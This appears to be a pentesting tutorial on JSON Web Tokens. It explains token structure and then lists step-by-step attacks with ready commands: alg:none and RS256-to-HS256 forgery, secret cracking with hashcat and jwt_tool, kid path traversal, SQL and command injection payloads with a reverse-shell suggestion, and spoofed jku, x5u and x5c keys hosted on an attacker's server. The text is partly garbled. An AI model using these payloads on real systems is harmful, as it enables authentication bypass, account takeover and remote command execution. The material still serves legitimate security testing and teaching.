A JSON Web Token (JWT) is a standardised format for securely exchanging data between two parties.
It is compact, readable and digitally signed using a private key/ or a public key pair by the Identity Provider(IdP). So the integrity and authenticity of the token can be verified by other parties involved.
The goal of using JWT is not to hide data, but to ensure the data's authenticity. JWT is signed and encoded rather than encrypted.
JWT is a stateless authentication mechanism based on tokens. Because it is a client-side stateless session, the server does not have to rely solely on a datastore (database) to save session information.
It consists of three elements:
Header - JWT header consists of token type and algorithm used for signing and encoding. Algorithms can be HMAC, SHA256, RSA, HS256 or RS256.
Payload - This is also a JSON object and is used to store the userβs information like id, username, role, token generation time and other custom claims.
Signature - The most crucial aspect of a JSON Web Token is its signature (JWT). The signature is generated by encoding the header and payload with Base64url Encoding and concatenating them with a period separator(.). This information is subsequently passed to the cryptography algorithm. As a result, if the header or payload changes, the signature must be computed again. Only the Identity Provider (IdP) has access to the private key used to generate the signature, which prohibits token manipulation.
header.payload.signature
JWT can be generated with two encryption mechanisms called Symmetric and Asymmetric encryption.
Symmetric:This mechanism requires a single key to create and verify the JWT. The most common algorithm for this type is HS256.
Asymmetric:This mechanism requires a Public key for verification and a Private key for signing the Signature. The most common algorithm for this type is RS256.
Key ID (kid) is an optional header with a string type that is used to identify a specific key in the filesystem or database and then use its content to validate the Signature. This argument is useful if the Application has several keys for signing tokens, but it can be problematic if it is injectable since an attacker can refer to a specific file with predictable content.
In addition to a key ID, JSON web token standards also provide developers with the ability to specify keys via a URL.
The token header contains a version (βverβ) claim. It contains the version of the JWT Token library used.
jku header parameter -JKU is an abbreviation for "JWK Set URL." It is an optional header field that specifies a URL that refers to a collection of keys needed to validate the token. If this field is not properly controlled and is permitted, an attacker might host their own key file and declare that the application uses it to validate tokens.
jwk header parameter -The optional JWK (JSON Web Key) header parameter allows attackers to embed the key used to verify the token directly in the token.
x5u and x5c header parameter -The x5u and x5c header arguments, like the jku and jwk headers, allow attackers to define the public key certificate or certificate chain used to verify the token. x5u defines information in URI form, whereas x5c permits certificate data to be incorporated in the token.
x5t parameter - The "x5t" (x.509 certificate thumbprint) header argument returns a base64url encoded SHA-256 thumbprint (i.e., digest) of an X.509 certificate's DER encoding, which may be used to match a certificate. As a result, it is equivalent to the key identifier or the kid claim!!
Inside Payload section you may also find: ****
jti param which is used to prevent replay attack on JWT
iss param β The name of the entity that issued the token.
iat param β Identifies the time at which the JWT token was issued.
nbf param β Identifies the time before which the JWT token MUST NOT be accepted for processing.
exp param β Identifies the expiration time on or after which the JWT MUST NOT be accepted for processing.
aud (audience) claim β identifies the recipients that the JWT is intended for.
Workflow:
Basically the identity provider(IdP) generates a JWT certifying user identity and Resource server decodes and verifies the authenticity of the token using secret salt / public key.
1. User sign-in using username and password or google/facebook.2. Authentication server verifies the credentials and issues a jwt signed using either a secret salt or a private key.3. Userβs Client uses the JWT to access protected resources by passing the JWT in HTTP Authorization header.4. Resource server then verifies the authenticity of the token using the secret salt/ public key.
1. Find JWT tokens- We can use Regex to search in proxy history "[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*""[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*"2. Identify a test page- Find a request of the page with JWT token which gives clear reponse if valid Ok else other reponse Profile page is a good start3. Check that your test cases work- Send the request to repeater and check if same token works again else token might have expired- Now start testing different attacks.
Check for sensitive data in the JWT
1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token3. Switch to JSON Web Token Tab 4. Check ifany user info orany sensitive info is there in payload section.5. Done!
None algorithm
1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token3. Switch to JSON Web Token Tab or JOSEPH which also contains bypass4. Change "alg:" to none "alg:none"{"alg":"none","typ":"JWT"}5. Change the Payload and edit the signature to empty Signature =""6. Forward the Request. Done!Using JWT_Tool.1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token3. Use Below command to get different bypass payload to try, replace <JWT>with your JWT token."python3 jwt_tool.py <JWT> -X a"4. Use Different Payloads Generated by tool in your request, see ifany of it works.5. Change you Payload value to desire with the token that worked and Done!
Change algorithm from RS256 to HS256
Note: This Attack will convert the workflow from Asymmetric to Symmetric encryption and now we can sign the new tokens with the same public key.1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token3. Get the Public key from the Application (pubkey.pem file) using below commands."openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem""openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem" OR"openssl s_client -connect zonksec.com:443 | openssl x509 -pubkey -noout"4. Then use below command to generate JWT token."python3 jwt_tool.py <JWT> -S hs256 -k pubkey.pem"5. Use the generated token in the request andtry changing payload.6. Done, Forward the request.* This will work when web app support both algorithm.
Signature not being checked
1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. Switch to JSON Web Token Tab or JOSEPH.4. Change Payload section and Remove the Signature completely ortry changing somecharacters in signature5. Done, Forward the Request.
Crack the secret key
1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. If JWT-Heartbreaker Plugin is installed then weak secret-key will directly be shown to you. OR3. Copy JWT Token and store it in a text file then usse Hashcat to crack the Secret key using below command."hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --force""hashcat -a 0 -m 16500 jwt_token.txt /usr/share/wordlist/rockyou.txt --show"//this will show cracked secret-key OR3. Use Jwt_Tool to crack the secret key using below command:"python3 jwt_tool.py <JWT> -C -d secrets.txt"4. Now Use the Secret key to forge the request using jwt.io or jwt_tool with option "-p"5. Done, Use the generated token in request and forward the request.* You can also find any leaking secret key in jwt.json config file.
Attacks using kid in JWT token.
Use arbitrary files to verify1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. If there is kid in header section of JWT_token then forge a new JWT token using jwt_tool'python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""'* Alternatively, we may utilise the content of any file in the web root, such as CSS or JS, to validate the Signature.'python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"'4. Manipulate payload section and now use the generated token in request.5. Done, Forward the Request.SQL injection1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. Switch to JSON Web Token Plugin tab and manipulate kid with sqli payload.4. You can try SQLi not only in kid but inany field of payload section."python3 jwt_tool.py <JWT> -I -pc name -pv "admin' ORDER BY 1--" -S hs256 -k public.pem"5. Done, Forward the request and escalate sqli further.Command injection1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. Switch to JSON Web Token Plugin tab and manipulate kid with os commands payload."kid: key.crt; whoami && python -m SimpleHTTPServer 1337 &"4. Now use the forged JWt token in request5. Check if you can connect to the server on port 1337or instead use reverse shell in payload and check if you get connection back6. DOne
Forged Header Parameter
JSON Set URL (jku)1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. Decode the JWT token and check if it contents jku attribute in Header section4. Generate you Public and Private Key pair using below commands:"openssl genrsa -out keypair.pem 2048""openssl rsa -in keypair.pem -pubout -out publickey.crt""openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key"8 it will generate Public Key -"publickey.crt"& Private Key -"pkcs8.key"5. Use Jwt.io and paste the public key (publicKey.pem)and the private key (attacker.key)in their respective places in the "Decoded" section.6. Host the generated certificate locally and modify the jku header parameter accordingly.7. Retrieve the jwks.json file from the URL present in the jku header claim"wget http://example.com:8000/jwks.json"8. Make a Python script "getPublicParams.py":from Crypto.PublicKey import RSA fp =open("publickey.crt", "r") key = RSA.importKey(fp.read()) fp.close()print"n:",hex(key.n)print"e:",hex(key.e)9. Run python script "python getPublicParams.py"10. Update the values of n and e in local jkws.json11. Hosting the JWK Set JSON file using repl.it orany server12. Manipulate the payload section and copy the generated jwt token from jwt.io13. Done, change the JWT token in our request and Forward!x5u Claim Misuse:Note: The algorithm used for signing the token is βRS256β.The token is using x5u header parameter which contains the location of the X.509 certificate to be used for token verification.1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. Decode the JWT token and check if it contents x5u attribute in Header section.4. Creating a self-signed certificate"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"5. Extracting the public key from the generated certificate:"openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem"6. Use Jwt.io and paste the public key (publicKey.pem)and the private key (attacker.key)in their respective places in the "Decoded" section.7. Set "x5u: http://192.87.15.2:8080/attacker.crt" you can use repl.it to host8. Done Use forged jwt token in request.x5c Claim Misuse:Note:The algorithm used for signing the token is βRS256β.The token is using x5c header parameter which contains the X.509 certificate to be used for token verification.The token has various fields: n, e, x5c, x5t, kid. Also, notice that kid value is equal to x5t value.1. Turn Intercept on in burp and Login to Web App2. Forward the request until you get JWT token.3. Decode the JWT token and check if it contents x5c attribute in Header section.* https://jwt.io automatically extracts the X.509 certificate and places it in the βVerify Signatureβ sub-section in βDecodedβ section.4. Create a self-signed certificate:"openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt"5. Extracting RSA public key parameters (n and e)from the generated certificate"openssl x509 -in attacker.crt -text"6. Converting modulus (n) to base64-encoded hexadecimal strings"echo "Modules (n) value will be here"| sed βs/://gβ | base64 | tr β\nβ β β | sed βs/ //gβ | sed βs/=//gβ"7. Converting exponent (e) to base64-encoded hexadecimal strings"echo "exponent (e) here" | base64 | sed βs/=//gβ"8. Finding the new x5c value"cat attacker.crt | tr β\nβ β β | sed βs/ //gβ"9. Copy the contents excluding the β -BEGINCERTIFICATE β β and β β ENDCERTIFICATE β β part.8. Finding the new x5t value"echo -n $(openssl x509 -in attacker.crt -fingerprint -noout) | sed βs/SHA1 Fingerprint=//gβ | sed βs/://gβ | base64 | sed βs/=//gβ"* Note: The kid parameter would also get the same value as x5t parameter.9. Creating a forged token using all the parameters calculated in the previous step.10. Visit https://jwt.io and paste the token retrieved in Step 3in the βEncodedβ section.11. Paste the X.509 certificate (attacker.crt)and the private key (attacker.key)in their respective places in the βDecodedβ section.12. Manipulate Payload section and copy the forged token13. Replace the forged token in the request and forward. Done!!
1. Copy Jwt token from the request2. Use Jwt_Tool : https://github.com/ticarpi/jwt_tool3. use command : python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245"-rh "Authorization: Bearer eyJhbG...<JWT Token>"4. Check for green line
By @MrTuxracerIf you were able to crack a JWT secret key but there are still some unguessable parameters in the payload just like a UUID,try sending an empty payload instead. This granted me admin rights more than once.